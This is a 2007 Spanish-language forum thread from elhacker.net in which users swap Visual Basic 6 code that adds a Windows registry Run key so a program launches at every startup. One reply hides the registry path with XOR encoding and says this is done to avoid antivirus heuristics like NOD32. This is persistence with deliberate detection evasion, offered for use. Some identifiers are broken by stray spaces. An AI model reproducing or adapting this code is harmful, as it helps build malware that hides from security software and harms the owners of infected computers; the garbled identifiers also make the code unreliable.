Imprimir Página - Auto ejecutar un programa al iniciar window

Buenas, pues aun q es raro y me dado cuenta de que me a "jodido" todos los proyectos anteriores..

Para cuando un pc es apagado, o reiniciado, para que el pc se inicie de nuevo, el codigo seria este ??

Private Sub Command1_Click()
Dim RegistroCochin o As Object
Dim RutaCochina As String
Dim CadenaNueva As String
Dim ContenidoCaden a As String

ContenidoCaden a = "http://ranefi.mx.gs"
CadenaNueva = "\ranefi"
RutaCochina = "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows" & _
"\CurrentVersion\Run" & CadenaNueva

Set RegistroCochin o = CreateObject("WScript.Shell")

RegistroCochin o.RegWrite RutaCochina, ContenidoCaden a
End Sub

Si fuera asin quiero saber que quiere decir | ContenidoCaden a = "http://ranefi.mx.gs" , CadenaNueva = "\ranefi"

yo quisiera que se ejecutara, por ejemplo PROYECTO.EXE

P.D: HENDRIX CONECTATE AL MSN !!!!!!!!!!!!!!!!!!!!!!!!

Código:

dim Windows = environ("windir") 'la variable windows es igual a la carpeta donde este el windows
On Error GoTo fallo'este code lo pones por ejemplo en form_load
Set Clave = CreateObject("WScript.shell")
Deb = descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lkftt")
Clave.regwrite Deb, Windows & "\jushed.exe" 'jushed.exe seria el nombre de la aplicacion que quieres que se inicie
fallo:

Private Function descifrar(j)
On Error Resume Next
For R = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function

Aca tiene el code para agregar la cadena al registro y de paso encriptarla, para no tener problemas con la heuristica como por ejemplo con el nod32
este code no es mio
todos los creditos a vivachapas!

Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: cheatmaster en 19 Junio 2007, 23:59 pm